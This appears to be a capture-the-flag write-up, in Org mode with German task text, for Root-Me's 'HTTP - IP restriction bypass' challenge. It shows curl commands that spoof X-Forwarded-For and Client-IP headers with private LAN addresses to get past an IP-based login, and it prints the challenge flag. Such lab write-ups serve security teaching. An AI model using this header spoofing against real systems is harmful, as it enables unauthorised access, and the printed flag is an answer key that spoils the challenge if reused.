41 lines
1.4 KiB
Org Mode
41 lines
1.4 KiB
Org Mode
* HTTP - IP restriction bypass
|
|
|
|
Challenge: https://www.root-me.org/de/Herausforderungen/Web-Server/HTTP-IP-restriction-bypass
|
|
Description: Nur lokale Benutzer können auf die Seite zugreifen
|
|
|
|
Aufgabe
|
|
#+begin_quote
|
|
Liebe Kollegen,
|
|
|
|
Wir verwalten jetzt die Verbindungen zum Intranet über private IP-Adressen, so dass es nicht mehr notwendig ist, sich mit einem Benutzernamen/Passwort anzumelden, wenn Sie bereits mit dem internen Firmennetz verbunden sind.
|
|
|
|
Herzliche Grüße,
|
|
|
|
Der Netzverwalter
|
|
#+end_quote
|
|
|
|
-----
|
|
|
|
Challenge Website: http://challenge01.root-me.org/web-serveur/ch68/
|
|
|
|
Analyse
|
|
- Initial request:
|
|
- `curl -i "http://challenge01.root-me.org/web-serveur/ch68/"`
|
|
- Server responds with login page and message: `Your IP ::ffff:<public-ip> do not belong to the LAN.`
|
|
- Header tests (IP spoofing candidates):
|
|
- `X-Forwarded-For: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected.
|
|
- `Client-IP: 127.0.0.1` -> IP shown as `127.0.0.1`, still rejected.
|
|
- `X-Client-IP: 127.0.0.1` -> ignored by app.
|
|
- Working bypass:
|
|
- `X-Forwarded-For: 192.168.1.10` (also works with `10.0.0.42`)
|
|
- `Client-IP: 192.168.1.10` also works.
|
|
- App trusts spoofable headers and only checks if IP is in private/LAN ranges.
|
|
|
|
Exploit command
|
|
#+begin_src bash
|
|
curl -i -H "X-Forwarded-For: 192.168.1.10" "http://challenge01.root-me.org/web-serveur/ch68/"
|
|
#+end_src
|
|
|
|
Flag
|
|
- `Ip_$po0Fing`
|